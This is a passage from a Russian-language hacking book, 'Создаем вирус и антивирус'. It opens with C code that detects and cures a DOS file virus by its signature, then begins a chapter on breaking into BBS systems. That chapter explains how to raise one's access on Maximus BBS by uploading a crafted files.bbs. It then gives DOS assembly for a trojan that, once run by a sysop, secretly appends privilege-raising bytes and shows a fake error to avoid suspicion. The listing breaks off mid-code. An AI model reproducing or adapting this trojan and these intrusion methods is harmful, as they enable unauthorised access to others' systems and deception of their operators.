Игорь Гульев - Создаем вирус и антивирус
/* Запускаем рекурсивный обход дерева каталогов
для выбранного диска */
walk();
old_path[2]=”0”; system(old_path);
old_path[2]=”\”; chdir(old_path);
printf(”nКаталогов : %dnФайлов : %dnОбнаружено больных
и излечено: %d”, n_dir, n_fil, n_ill);
if (n_ill) exit(1); else exit(0);
}
Файл «ANTILIB.C», включаемый в предыдущий:
/***************************************************************
Процедуры обнаружения и лечения
***************************************************************/
/* Сигнатура */
char sign[7]={ (char) 0xB4,
(char) 0x83,
(char) 0xCD,
(char) 0x21,
(char) 0x5E,
(char) 0x56,
” ”};
int infected( char *fn )
{
int f;
int r,q;
char buf[7]; /* Буфер под сигнатуру */
/* Открываем файл */
r=_dos_open( fn, O_RDONLY, &f );
if (r) { printf(” – ошибка открытия!”); return GOOD; }
/* Читаем 6 байт */
lseek( f, −1724, SEEK_END );
r=_dos_read( f, buf, 6, &q ); buf[6]=” ”;
if ((r)||(q!=6)) {printf(” – ошибка чтения!”); _dos_close(f); return GOOD;
}
/* Закрываем файл */
_dos_close(f);
/* Сравниваем байты с сигнатурой */
if (strcmp( buf, sign)==0)
{ printf(” – был болен и...”); n_ill++; return BAD; } /* Болен !!! */
/* Годен к в/службе. П/пк мед. службы Орлов :−) */
return GOOD;
}
cure( char *fn )
{
int f;
int mz;
int r,q;
char buf[24]; /* Буфер под байты */
/* Открываем файл */
r=_dos_open( fn, O_RDWR, &f );
if (r) { printf(” – ошибка открытия!”); return; }
/* Читаем первые два байта для определения типа программы */
r=_dos_read( f, &mz, 2, &q );
if ((r)||(q!=2)) {printf(” – ошибка чтения!”); _dos_close(f); return; }
/* Читаем сохраненные вирусом 24 байта старого начала */
lseek( f, −80, SEEK_END );
r=_dos_read( f, buf, 24, &q );
if ((r)||(q!=24)) {printf(” – ошибка чтения!”); _dos_close(f); return; }
/* Определяем тип программы */
if ((mz==0x4D5A)||(mz==0x5A4D))
{ /* Это exe */
/* Пишем правильные PartPag и PageCnt */
lseek( f, 2, SEEK_SET );
r=_dos_write( f, &buf[2], 4, &q );
if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }
/* Пишем правильные ReloSS и ExeSP */
lseek( f, 14, SEEK_SET );
r=_dos_write( f, &buf[14], 4, &q );
if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }
/* Пишем правильные ReloCS и ExeIP */
lseek( f, 20, SEEK_SET );
r=_dos_write( f, &buf[20], 4, &q );
if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }
}
else
{ /* Это com */
/* Восстанавливаем сохраненные 3 первые байта программы */
lseek( f, 0, SEEK_SET);
r=_dos_write( f, &buf[0], 3, &q );
if ((r)||(q!=3)) {printf(” – ошибка записи!”); _dos_close(f); return; }
}
/* Усекаем файл (переходим на начало вируса
и записываем 0 байт) */
lseek( f, −1740, SEEK_END);
r=_dos_write( f, buf, 0, &q);
/* Закрываем файл */
_dos_close(f);
printf(”теперь исцелен!n”);
return;
}Глава 7 BBS и FTN-сети
В этой главе описаны методы взлома BBS и FTN-сетей, как программные, так и «обманные». Представлен исходный текст программы-взломщика с комментариями. Подробно рассказано о «слабых местах» различных программ для BBS и FTN-сетей. Даются рекомендации по защите компьютера от несанкционированного проникновения.
BBS – Bulletin Board System (электронная доска объявлений). Это небольшой информационный центр на базе микрокомпьютера (с винчестером большого объема), к которому пользователи могут подключиться через свой компьютер по телефонной сети в режиме точка – точка. Работая с BBS, пользователи могут не только скопировать оттуда имеющийся файл, но и оставить свой. Файлом может являться как письмо, так и обычная программа. Как правило, BBS работает в ночное время, а днем это обычный телефонный номер. Главным на BBS является системный оператор (SysOp), который и назначает ее правила и тематику. Услуги BBS часто являются бесплатными, для связи с ней достаточно обычной терминальной программы. При первом входе нужно зарегистрироваться, затем абоненту выделяется определенный промежуток времени для работы. Часто выделяемого времени недостаточно, тогда появляется потребность к взлому BBS. О том, как надо звонить на подобные BBS, как получать оттуда файлы и писать письма, можно узнать в специальной литературе. Поставленная задача – рассказать читателю, каким образом можно повысить себе уровень доступа или получить полный доступ к компьютеру. Для системных операторов это будет лишним поводом задуматься о том, как страшны последствия безграмотности…
Взлом BBS
Существует большое количество программ, предназначенных для создания и поддержания работы BBS. Рассмотрим самую популярную среди них – Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым областям, уничтожить информацию – такие задачи ставит перед собой взломщик.
Существуют так называемые списки файлов, в которых содержится информация о доступных пользователям этой BBS ресурсах. Как правило, такие списки есть в каждой специальной тематической конференции. Пользователи могут скопировать оттуда какой-либо файл или оставить свой. В программе Maximus списком всех файлов, доступных в конференции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий с языками С и Pascal. На нем можно писать собственные программы под BBS. Скорее всего, именно поэтому большинство системных операторов предпочитают использовать Maximus. После компиляции написанной программы ее можно добавить в общую базу Maximus, и она начнет работать.
Каждая откомпилированная программа приобретает определенную маску файла. Откомпилированная MEC-программа имеет маску *. bbs, схожую с маской списка файла. Обычно в этих файлах содержатся списки, но если в коде встречаются какие-либо служебные команды, они будут выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: MEC и MEX. Язык MEC очень прост, разобраться в нем может каждый. Он позволяет оперировать различными данными, заставками на BBS, базой пользователей. Системный оператор обязательно должен знать этот язык.
Используя команду «PRIV_UP» языка MEC системный оператор может без особых усилий повышать уровень пользователя, при условии, что последний будет писать и отправлять файлы на станцию. С повышением уровня, пользователь получает дополнительные возможности (увеличивается доступное для работы время, объем информации, которую можно получить с BBS). Этим и может воспользоваться хакер. Ему остается только найти BBS, работающую на программе Maximus, на которой есть много файловых конференций. При этом одна из этих конференций должна быть пустой (то есть в ней не должно быть файла files.bbs, содержащего доступные файлы в данной конференции). Таким образом, остается проверить только одно условие – если все копируемые на BBS файлы помещаются в конференцию, которая была выбрана последний раз, то такую BBS можно взломать без особых усилий. Хакеру остается только создать файл files.mec, записать в него команду PRIV_UP, затем откомпилировать этот файл при помощи компилятора MECCA (теперь он будет называться files.bbs) и отправить его на BBS. С этого момента хакер может поднимать свой уровень доступа, просматривая данную конференцию, пока он не достигнет уровня системного оператора станции. После этого компьютер окажется полностью в его распоряжении.
Если под рукой не оказалось компилятора MECCA, то создать files.bbs можно и вручную. Для этого нужно создать файл files.bbs, а затем ввести в него команду повышения уровня – на языке Maximus это всего три символа (код первого – 23h, следующие два – символы pU).
Еще один способ взлома BBS рассчитан на неграмотных системных операторов, не обладающих глубокими знаниями. Он заключается в том, что на станцию засылается программа (причем безразлично, куда она попадет), которая сама добавит команду повышения уровня в файл files.bbs. Во время просмотра доступных файлов хакеру автоматически будет подниматься уровень. Ниже приведен текст похожей исходной программы – фантазия тут может быть безгранична. Эта программа добавляет в файл files.bbs байты, повышающие уровень пользователю. После того, как системный оператор запустит эту программу на своем компьютере, программа ищет файл files.bbs и дописывает туда три байта. Приведенный пример рассчитан на системных операторов, которые держат свои файлы в каталоге, по умолчанию предлагаемом программой для установки. Хотя можно добавить поиск files.bbs по всему винчестеру компьютера.
assume cs:cseg, ds:cseg
cseg segment
org 100h
start:
;Найдем файл FILES.BBS
mov ah,4Eh
mov dx,offset fname
mov cx,20h
int 21h
;Если файл отсутствует, то выйдем из программы –
;здесь нечего исправлять
jc exit
;Откроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21h
jc exit
;Установим указатель чтения/записи в конец файла
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Записываем в файл три байта
mov ah,40h
mov cx,3
mov dx,offset bytes
int 21h
jc exit
;Закроем файл
mov ah,3Eh
int 21h
;Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
;системного оператора. Цель – заставить системного оператора
;думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:
;Выдадим сообщение об ошибке
mov ah,09h
mov dx,offset message
int 21h
;Выход в DOS
mov ah,4Ch
int 21h
;Мусор – специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup (”A”)
;Имя файла ”FILES.BBS”